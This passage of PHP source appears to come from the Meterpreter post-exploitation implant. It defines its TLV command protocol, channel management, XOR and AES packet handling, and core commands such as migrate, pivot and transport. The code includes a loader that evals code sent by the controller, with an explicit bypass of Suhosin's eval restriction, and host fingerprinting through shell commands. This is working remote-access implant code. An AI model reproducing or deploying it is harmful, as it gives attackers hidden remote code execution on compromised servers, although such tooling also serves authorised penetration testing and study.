/* $val) { if (is_array($val)) { # recurse dump_array($val, "{$name}[{$key}]"); } else { my_print(sprintf(" $key ($val)")); } } } function dump_readers() { global $readers; dump_array($readers, 'Readers'); } function dump_resource_map() { global $resource_type_map; dump_array($resource_type_map, 'Resource map'); } function dump_channels($extra="") { global $channels; dump_array($channels, 'Channels '.$extra); } # Doesn't exist before php 4.3 if (!function_exists("file_get_contents")) { function file_get_contents($file) { $f = @fopen($file,"rb"); $contents = false; if ($f) { do { $contents .= fgets($f); } while (!feof($f)); } fclose($f); return $contents; } } # Renamed in php 4.3 if (!function_exists('socket_set_option')) { function socket_set_option($sock, $type, $opt, $value) { socket_setopt($sock, $type, $opt, $value); } } # # Payload definitions # define("PAYLOAD_UUID", ""); define("SESSION_GUID", ""); # # Constants # define("AES_256_CBC", 'aes-256-cbc'); define("ENC_NONE", 0); define("ENC_AES256", 1); define("PACKET_TYPE_REQUEST", 0); define("PACKET_TYPE_RESPONSE", 1); define("PACKET_TYPE_PLAIN_REQUEST", 10); define("PACKET_TYPE_PLAIN_RESPONSE", 11); define("ERROR_SUCCESS", 0); define("ERROR_FAILURE", 1); define("CHANNEL_CLASS_BUFFERED", 0); define("CHANNEL_CLASS_STREAM", 1); define("CHANNEL_CLASS_DATAGRAM", 2); define("CHANNEL_CLASS_POOL", 3); ## # Windows Constants ## define("WIN_AF_INET", 2); define("WIN_AF_INET6", 23); # # TLV Meta Types # define("TLV_META_TYPE_NONE", ( 0 )); define("TLV_META_TYPE_STRING", (1 << 16)); define("TLV_META_TYPE_UINT", (1 << 17)); define("TLV_META_TYPE_RAW", (1 << 18)); define("TLV_META_TYPE_BOOL", (1 << 19)); define("TLV_META_TYPE_QWORD", (1 << 20)); define("TLV_META_TYPE_COMPRESSED", (1 << 29)); define("TLV_META_TYPE_GROUP", (1 << 30)); define("TLV_META_TYPE_COMPLEX", (1 << 31)); # not defined in original define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)); # # TLV base starting points # define("TLV_RESERVED", 0); define("TLV_EXTENSIONS", 20000); define("TLV_USER", 40000); define("TLV_TEMP", 60000); # # TLV Specific Types # define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0); define("TLV_TYPE_COMMAND_ID", TLV_META_TYPE_UINT | 1); define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2); define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3); define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4); define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10); define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11); define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12); define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25); define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26); define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27); define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50); define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51); define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52); define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53); define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54); define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70); define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71); define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72); define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300); define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301); define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400); define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460); define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461); define("TLV_TYPE_SESSION_GUID", TLV_META_TYPE_RAW | 462); # Packet encryption define("TLV_TYPE_RSA_PUB_KEY", TLV_META_TYPE_RAW | 550); define("TLV_TYPE_SYM_KEY_TYPE", TLV_META_TYPE_UINT | 551); define("TLV_TYPE_SYM_KEY", TLV_META_TYPE_RAW | 552); define("TLV_TYPE_ENC_SYM_KEY", TLV_META_TYPE_RAW | 553); # --------------------------------------------------------------- # --- THIS CONTENT WAS GENERATED BY A TOOL @ 2020-05-01 05:33:39 UTC # IDs for core define('EXTENSION_ID_CORE', 0); define('COMMAND_ID_CORE_CHANNEL_CLOSE', 1); define('COMMAND_ID_CORE_CHANNEL_EOF', 2); define('COMMAND_ID_CORE_CHANNEL_INTERACT', 3); define('COMMAND_ID_CORE_CHANNEL_OPEN', 4); define('COMMAND_ID_CORE_CHANNEL_READ', 5); define('COMMAND_ID_CORE_CHANNEL_SEEK', 6); define('COMMAND_ID_CORE_CHANNEL_TELL', 7); define('COMMAND_ID_CORE_CHANNEL_WRITE', 8); define('COMMAND_ID_CORE_CONSOLE_WRITE', 9); define('COMMAND_ID_CORE_ENUMEXTCMD', 10); define('COMMAND_ID_CORE_GET_SESSION_GUID', 11); define('COMMAND_ID_CORE_LOADLIB', 12); define('COMMAND_ID_CORE_MACHINE_ID', 13); define('COMMAND_ID_CORE_MIGRATE', 14); define('COMMAND_ID_CORE_NATIVE_ARCH', 15); define('COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION', 16); define('COMMAND_ID_CORE_PATCH_URL', 17); define('COMMAND_ID_CORE_PIVOT_ADD', 18); define('COMMAND_ID_CORE_PIVOT_REMOVE', 19); define('COMMAND_ID_CORE_PIVOT_SESSION_DIED', 20); define('COMMAND_ID_CORE_SET_SESSION_GUID', 21); define('COMMAND_ID_CORE_SET_UUID', 22); define('COMMAND_ID_CORE_SHUTDOWN', 23); define('COMMAND_ID_CORE_TRANSPORT_ADD', 24); define('COMMAND_ID_CORE_TRANSPORT_CHANGE', 25); define('COMMAND_ID_CORE_TRANSPORT_GETCERTHASH', 26); define('COMMAND_ID_CORE_TRANSPORT_LIST', 27); define('COMMAND_ID_CORE_TRANSPORT_NEXT', 28); define('COMMAND_ID_CORE_TRANSPORT_PREV', 29); define('COMMAND_ID_CORE_TRANSPORT_REMOVE', 30); define('COMMAND_ID_CORE_TRANSPORT_SETCERTHASH', 31); define('COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS', 32); define('COMMAND_ID_CORE_TRANSPORT_SLEEP', 33); # --------------------------------------------------------------- function my_cmd($cmd) { return shell_exec($cmd); } function is_windows() { return (strtoupper(substr(PHP_OS,0,3)) == "WIN"); } function is_linux() { return (strtoupper(substr(PHP_OS,0,3)) == "LIN"); } ## # Worker functions ## if (!function_exists('core_channel_open')) { register_command('core_channel_open', COMMAND_ID_CORE_CHANNEL_OPEN); function core_channel_open($req, &$pkt) { $type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE); my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do"); # Doing it this way allows extensions to create new channel types without # needing to modify the core code. $handler = "channel_create_". $type_tlv['value']; if ($type_tlv['value'] && is_callable($handler)) { my_print("Calling {$handler}"); $ret = $handler($req, $pkt); } else { my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =("); $ret = ERROR_FAILURE; } return $ret; } } # Works for streams if (!function_exists('core_channel_eof')) { register_command('core_channel_eof', COMMAND_ID_CORE_CHANNEL_EOF); function core_channel_eof($req, &$pkt) { my_print("doing channel eof"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $c = get_channel_by_id($chan_tlv['value']); if ($c) { if (eof($c[1])) { packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1)); } else { packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0)); } return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } # Works if (!function_exists('core_channel_read')) { register_command('core_channel_read', COMMAND_ID_CORE_CHANNEL_READ); function core_channel_read($req, &$pkt) { my_print("doing channel read"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); $id = $chan_tlv['value']; $len = $len_tlv['value']; $data = channel_read($id, $len); if ($data === false) { $res = ERROR_FAILURE; } else { packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); $res = ERROR_SUCCESS; } return $res; } } # Works if (!function_exists('core_channel_write')) { register_command('core_channel_write', COMMAND_ID_CORE_CHANNEL_WRITE); function core_channel_write($req, &$pkt) { #my_print("doing channel write"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA); $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); $id = $chan_tlv['value']; $data = $data_tlv['value']; $len = $len_tlv['value']; $wrote = channel_write($id, $data, $len); if ($wrote === false) { return ERROR_FAILURE; } else { packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote)); return ERROR_SUCCESS; } } } # # This is called when the client wants to close a channel explicitly. # if (!function_exists('core_channel_close')) { register_command('core_channel_close', COMMAND_ID_CORE_CHANNEL_CLOSE); function core_channel_close($req, &$pkt) { global $channel_process_map; # XXX remove the closed channel from $readers my_print("doing channel close"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $id = $chan_tlv['value']; $c = get_channel_by_id($id); if ($c) { # We found a channel, close its stdin/stdout/stderr channel_close_handles($id); # This is an explicit close from the client, always remove it from the # list, even if it has data. channel_remove($id); # if the channel we're closing is associated with a process, kill the # process # Make sure the stdapi function for closing a process handle is # available before trying to clean up if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) { close_process($channel_process_map[$id]); } return ERROR_SUCCESS; } dump_channels("after close"); return ERROR_FAILURE; } } # # Destroy a channel and all associated handles. # if (!function_exists('channel_close_handles')) { function channel_close_handles($cid) { global $channels; # Sanity check - make sure a channel with the given cid exists if (!array_key_exists($cid, $channels)) { return; } $c = $channels[$cid]; for($i = 0; $i < 3; $i++) { #my_print("closing channel fd $i, {$c[$i]}"); if (array_key_exists($i, $c) && is_resource($c[$i])) { close($c[$i]); # Make sure the main loop doesn't select on this resource after we # close it. remove_reader($c[$i]); } } # axe it from the list only if it doesn't have any leftover data if (strlen($c['data']) == 0) { channel_remove($cid); } } } function channel_remove($cid) { global $channels; unset($channels[$cid]); } if (!function_exists('core_channel_interact')) { register_command('core_channel_interact', COMMAND_ID_CORE_CHANNEL_INTERACT); function core_channel_interact($req, &$pkt) { global $readers; my_print("doing channel interact"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $id = $chan_tlv['value']; # True means start interacting, False means stop $toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL); $c = get_channel_by_id($id); if ($c) { if ($toggle_tlv['value']) { # Start interacting. If we're already interacting with this # channel, it's an error and we should return failure. if (!in_array($c[1], $readers)) { # stdout add_reader($c[1]); # Make sure we don't add the same resource twice in the case # that stdin == stderr if (array_key_exists(2, $c) && $c[1] != $c[2]) { # stderr add_reader($c[2]); } $ret = ERROR_SUCCESS; } else { # Already interacting $ret = ERROR_FAILURE; } } else { # Stop interacting. If we're not interacting yet with this # channel, it's an error and we should return failure. if (in_array($c[1], $readers)) { remove_reader($c[1]); # stdout remove_reader($c[2]); # stderr $ret = ERROR_SUCCESS; } else { # Not interacting. This is technically failure, but it seems # the client sends us two of these requests in quick succession # causing the second one to always return failure. When that # happens we fail to clean up properly, so always return # success here. $ret = ERROR_SUCCESS; } } } else { # Not a valid channel my_print("Trying to interact with an invalid channel"); $ret = ERROR_FAILURE; } return $ret; } } function interacting($cid) { global $readers; $c = get_channel_by_id($cid); if (in_array($c[1], $readers)) { return true; } return false; } if (!function_exists('core_shutdown')) { register_command('core_shutdown', COMMAND_ID_CORE_SHUTDOWN); function core_shutdown($req, &$pkt) { my_print("doing core shutdown"); die(); } } # zlib support is not compiled in by default, so this makes sure the library # isn't compressed before eval'ing it # TODO: check for zlib support and decompress if possible if (!function_exists('core_loadlib')) { register_command('core_loadlib', COMMAND_ID_CORE_LOADLIB); function core_loadlib($req, &$pkt) { global $id2f; my_print("doing core_loadlib"); $data_tlv = packet_get_tlv($req, TLV_TYPE_DATA); if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) { return ERROR_FAILURE; } $tmp = $id2f; # We might not be able to use `eval` here because of some hardening # (for example, suhosin), so we walk around by using `create_function` instead, # but since this funcis deprecated since php 7.2+, we're not using it # when we can avoid it, since it might leave some traces in the log files. if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $data_tlv['value']); $suhosin_bypass(); } else { eval($data_tlv['value']); } $new = array_diff($id2f, $tmp); foreach ($new as $id => $func) { packet_add_tlv($pkt, create_tlv(TLV_TYPE_UINT, $id)); } return ERROR_SUCCESS; } } if (!function_exists('core_enumextcmd')) { register_command('core_enumextcmd', COMMAND_ID_CORE_ENUMEXTCMD); function core_enumextcmd($req, &$pkt) { my_print("doing core_enumextcmd"); global $id2f; $id_start_array = packet_get_tlv($req, TLV_TYPE_UINT); $id_start = $id_start_array['value']; $id_end_array = packet_get_tlv($req, TLV_TYPE_LENGTH); $id_end = $id_end_array['value'] + $id_start; foreach ($id2f as $id => $ext_cmd) { my_print("core_enumextcmd - checking " . $ext_cmd . " as " . $id); list($ext_name, $cmd) = explode("_", $ext_cmd, 2); if ($id_start < $id && $id < $id_end) { my_print("core_enumextcmd - adding " . $ext_cmd . " as " . $id); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UINT, $id)); } } return ERROR_SUCCESS; } } if (!function_exists('core_set_uuid')) { register_command('core_set_uuid', COMMAND_ID_CORE_SET_UUID); function core_set_uuid($req, &$pkt) { my_print("doing core_set_uuid"); $new_uuid = packet_get_tlv($req, TLV_TYPE_UUID); if ($new_uuid != null) { $GLOBALS['UUID'] = $new_uuid['value']; my_print("New UUID is {$GLOBALS['UUID']}"); } return ERROR_SUCCESS; } } function get_hdd_label() { foreach (scandir('/dev/disk/by-id/') as $file) { foreach (array("ata-", "mb-") as $prefix) { if (strpos($file, $prefix) === 0) { return substr($file, strlen($prefix)); } } } return ""; } function der_to_pem($der_data) { $pem = chunk_split(base64_encode($der_data), 64, "\n"); $pem = "-----BEGIN PUBLIC KEY-----\n".$pem."-----END PUBLIC KEY-----\n"; return $pem; } if (!function_exists('core_negotiate_tlv_encryption')) { register_command('core_negotiate_tlv_encryption', COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION); function core_negotiate_tlv_encryption($req, &$pkt) { if (supports_aes()) { my_print("AES functionality is supported"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_SYM_KEY_TYPE, ENC_AES256)); $GLOBALS['AES_ENABLED'] = false; $GLOBALS['AES_KEY'] = rand_bytes(32); if (function_exists('openssl_pkey_get_public') && function_exists('openssl_public_encrypt')) { my_print("Encryption via public key is supported"); $pub_key_tlv = packet_get_tlv($req, TLV_TYPE_RSA_PUB_KEY); if ($pub_key_tlv != null) { $key = openssl_pkey_get_public(der_to_pem($pub_key_tlv['value'])); $enc = ''; openssl_public_encrypt($GLOBALS['AES_KEY'], $enc, $key, OPENSSL_PKCS1_PADDING); packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENC_SYM_KEY, $enc)); return ERROR_SUCCESS; } } # add the raw aes key at this point as it means the encrypt version didn't go out. packet_add_tlv($pkt, create_tlv(TLV_TYPE_SYM_KEY, $GLOBALS['AES_KEY'])); } return ERROR_SUCCESS; } } if (!function_exists('core_get_session_guid')) { register_command('core_get_session_guid', COMMAND_ID_CORE_GET_SESSION_GUID); function core_get_session_guid($req, &$pkt) { packet_add_tlv($pkt, create_tlv(TLV_TYPE_SESSION_GUID, $GLOBALS['SESSION_GUID'])); return ERROR_SUCCESS; } } if (!function_exists('core_set_session_guid')) { register_command('core_set_session_guid', COMMAND_ID_CORE_SET_SESSION_GUID); function core_set_session_guid($req, &$pkt) { my_print("doing core_set_session_guid"); $new_guid = packet_get_tlv($req, TLV_TYPE_SESSION_GUID); if ($new_guid != null) { $GLOBALS['SESSION_ID'] = $new_guid['value']; my_print("New Session GUID is {$GLOBALS['SESSION_GUID']}"); } return ERROR_SUCCESS; } } if (!function_exists('core_machine_id')) { register_command('core_machine_id', COMMAND_ID_CORE_MACHINE_ID); function core_machine_id($req, &$pkt) { my_print("doing core_machine_id"); if (is_callable('gethostname')) { # introduced in 5.3 $machine_id = gethostname(); } else { $machine_id = php_uname('n'); } $serial = ""; if (is_windows()) { # It's dirty, but there's not really a nicer way of doing this on windows. Make sure # it's lowercase as this is what the other meterpreters use. $output = strtolower(shell_exec("vol %SYSTEMDRIVE%")); $serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output); } else { $serial = get_hdd_label(); } packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id)); return ERROR_SUCCESS; } ## # Channel Helper Functions ## } $channels = array(); function register_channel($in, $out=null, $err=null) { global $channels; if ($out == null) { $out = $in; } if ($err == null) { $err = $out; } $channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => ''); # Grab the last index and use it as the new ID. $id = end(array_keys($channels)); my_print("Created new channel $in, with id $id"); return $id; } # # Channels look like this: # # Array # ( # [0] => Array # ( # [0] => Resource id #12 # [1] => Resource id #13 # [2] => Resource id #14 # [type] => 'stream' # [data] => '...' # ) # ) # function get_channel_id_from_resource($resource) { global $channels; if (empty($channels)) { return false; } foreach ($channels as $i => $chan_ary) { if (in_array($resource, $chan_ary)) { my_print("Found channel id $i"); return $i; } } return false; } function &get_channel_by_id($chan_id) { global $channels; my_print("Looking up channel id $chan_id"); #dump_channels("in get_channel_by_id"); if (array_key_exists($chan_id, $channels)) { my_print("Found one"); return $channels[$chan_id]; } else { return false; } } # Write data to the channel's stdin function channel_write($chan_id, $data) { $c = get_channel_by_id($chan_id); if ($c && is_resource($c[0])) { my_print("---Writing '$data' to channel $chan_id"); return write($c[0], $data); } else { return false; } } # Read from the channel's stdout function channel_read($chan_id, $len) { $c = &get_channel_by_id($chan_id); if ($c) { # First get any pending unread data from a previous read $ret = substr($c['data'], 0, $len); $c['data'] = substr($c['data'], $len); if (strlen($ret) > 0) { my_print("Had some leftovers: '$ret'"); } # Next grab stderr if we have it and it's not the same file descriptor # as stdout. if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) { # Read as much as possible into the channel's data buffer $read = read($c[2]); $c['data'] .= $read; # Now slice out however much the client asked for. If there's any # left over, they'll get it next time. If it doesn't add up to # what they requested, oh well, they'll just have to call read # again. Looping until we get the requested number of bytes is # inconsistent with win32 meterpreter and causes the whole php # process to block waiting on input. $bytes_needed = $len - strlen($ret); $ret .= substr($c['data'], 0, $bytes_needed); $c['data'] = substr($c['data'], $bytes_needed); } # Then if there's still room, grab stdout if (strlen($ret) < $len and is_resource($c[1])) { # Same as above, but for stdout. This will overwrite a false # return value from reading stderr but the two should generally # EOF at the same time, so it should be fine. $read = read($c[1]); $c['data'] .= $read; $bytes_needed = $len - strlen($ret); $ret .= substr($c['data'], 0, $bytes_needed); $c['data'] = substr($c['data'], $bytes_needed); } # In the event of one or the other of the above read()s returning # false, make sure we have sent any pending unread data before saying # EOF by returning false. Note that if they didn't return false, it is # perfectly legitimate to return an empty string which just means # there's no data right now but we haven't hit EOF yet. if (false === $read and empty($ret)) { if (interacting($chan_id)) { handle_dead_resource_channel($c[1]); } return false; } return $ret; } else { return false; } } function rand_xor_byte() { return chr(mt_rand(1, 255)); } function rand_bytes($size) { $b = ''; for ($i = 0; $i < $size; $i++) { $b .= rand_xor_byte(); } return $b; } function rand_xor_key() { return rand_bytes(4); } function xor_bytes($key, $data) { $result = ''; for ($i = 0; $i < strlen($data); ++$i) { $result .= $data[$i] ^ $key[$i % 4]; } return $result; } ## # TLV Helper Functions ## function generate_req_id() { $characters = 'abcdefghijklmnopqrstuvwxyz'; $rid = ''; for ($p = 0; $p < 32; $p++) { $rid .= $characters[rand(0, strlen($characters)-1)]; } return $rid; } function supports_aes() { return function_exists('openssl_decrypt') && function_exists('openssl_encrypt'); } function decrypt_packet($raw) { $len_array = unpack("Nlen", substr($raw, 20, 4)); $encrypt_flags = $len_array['len']; if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null) { $tlv = substr($raw, 24); $dec = openssl_decrypt(substr($tlv, 24), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, substr($tlv, 8, 16)); return pack("N", strlen($dec) + 8) . substr($tlv, 4, 4) . $dec; } return substr($raw, 24); } function encrypt_packet($raw) { if (supports_aes() && $GLOBALS['AES_KEY'] != null) { if ($GLOBALS['AES_ENABLED'] === true) { $iv = rand_bytes(16); $enc = $iv . openssl_encrypt(substr($raw, 8), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, $iv); $hdr = pack("N", strlen($enc) + 8) . substr($raw, 4, 4); return $GLOBALS['SESSION_GUID'] . pack("N", ENC_AES256) . $hdr . $enc; } $GLOBALS['AES_ENABLED'] = true; } return $GLOBALS['SESSION_GUID'] . pack("N", ENC_NONE) . $raw; } function write_tlv_to_socket($resource, $raw) { $xor = rand_xor_key(); # default to unecrypted traffic write($resource, $xor . xor_bytes($xor, encrypt_packet($raw))); } function handle_dead_resource_channel($resource) { global $msgsock; if (!is_resource($resource)) { return; } $cid = get_channel_id_from_resource($resource); if ($cid === false) { my_print("Resource has no channel: {$resource}"); # Make sure the provided resource gets closed regardless of it's status # as a channel remove_reader($resource); close($resource); } else { my_print("Handling dead resource: {$resource}, for channel: {$cid}"); # Make sure we close other handles associated with this channel as well channel_close_handles($cid); # Notify the client that this channel is dead $pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; write_tlv_to_socket($msgsock, $pkt); } } function handle_resource_read_channel($resource, $data) { global $udp_host_map; $cid = get_channel_id_from_resource($resource); my_print("Handling data from $resource"); # Build a new Packet $pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE)); if (array_key_exists((int)$resource, $udp_host_map)) { list($h,$p) = $udp_host_map[(int)$resource]; packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p)); } packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function create_response($req) { global $id2f; $pkt = pack("N", PACKET_TYPE_RESPONSE); $command_id_tlv = packet_get_tlv($req, TLV_TYPE_COMMAND_ID); my_print("command id is {$command_id_tlv['value']}"); packet_add_tlv($pkt, $command_id_tlv); $reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID); packet_add_tlv($pkt, $reqid_tlv); $command_handler = $id2f[$command_id_tlv['value']]; if (is_callable($command_handler)) { $result = $command_handler($req, $pkt); } else { my_print("Got a request for something I don't know how to handle (" . $command_id_tlv['value'] . " / ". $command_handler ."), returning failure"); $result = ERROR_FAILURE; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function create_tlv($type, $val) { return array( 'type' => $type, 'value' => $val ); } function tlv_pack($tlv) { $ret = ""; #my_print("Creating a tlv of type: {$tlv['type']}"); if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); } elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { $hi = ($tlv['value'] >> 32) & 0xFFFFFFFF; $lo = $tlv['value'] & 0xFFFFFFFF; $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { # PHP's pack appears to be busted for chars, $ret = pack("NN", 8 + 1, $tlv['type']); $ret .= $tlv['value'] ? "\x01" : "\x00"; } elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { # treat groups the same as raw $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) { # treat complex the same as raw $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } else { my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf"); } return $ret; } function tlv_unpack($raw_tlv) { $tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8)); $type = $tlv['type']; my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing # NULL, so catch that here $tlv['value'] = str_replace("\0", "", $tlv['value']); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); } elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); } elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { $tlv = unpack("Nlen/Ntype", $raw_tlv); $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); } else { my_print("Wtf type is this? $type"); $tlv = null; } return $tlv; } function packet_add_tlv(&$pkt, $tlv) { $pkt .= tlv_pack($tlv); } function packet_get_tlv($pkt, $type) { #my_print("Looking for a tlv of type $type"); # Start at offset 8 to skip past the packet header $offset = 8; while ($offset < strlen($pkt)) { $tlv = tlv_unpack(substr($pkt, $offset)); #my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { #my_print("Found one at offset $offset"); return $tlv; } $offset += $tlv['len']; } #my_print("Didn't find one, wtf"); # We should return null instead of false, because false is actually # a valid value for a TLV and hence it's not possible to determine # a missing BOOL tlv value. return null; } function packet_get_all_tlvs($pkt, $type) { my_print("Looking for all tlvs of type $type"); # Start at offset 8 to skip past the packet header $offset = 8; $all = array(); while ($offset < strlen($pkt)) { $tlv = tlv_unpack(substr($pkt, $offset)); if ($tlv == NULL) { break; } my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { my_print("Found one at offset $offset"); array_push($all, $tlv); } $offset += $tlv['len']; } return $all; } ## # Functions for genericizing the stream/socket conundrum ## function register_socket($sock, $ipaddr=null, $port=null) { global $resource_type_map, $udp_host_map; my_print("Registering socket $sock for ($ipaddr:$port)"); $resource_type_map[(int)$sock] = 'socket'; if ($ipaddr) { $udp_host_map[(int)$sock] = array($ipaddr, $port); #dump_array($udp_host_map, "UDP Map after registering a new socket"); } } # The stream functions cannot be unconnected, so don't require a host map function register_stream($stream, $ipaddr=null, $port=null) { global $resource_type_map, $udp_host_map; my_print("Registering stream $stream for ($ipaddr:$port)"); $resource_type_map[(int)$stream] = 'stream'; if ($ipaddr) { $udp_host_map[(int)$stream] = array($ipaddr, $port); #dump_array($udp_host_map, "UDP Map after registering a new stream"); } } function connect($ipaddr, $port, $proto='tcp') { my_print("Doing connect($ipaddr, $port)"); $sock = false; # IPv6 requires brackets around the address in some cases, but not all. # 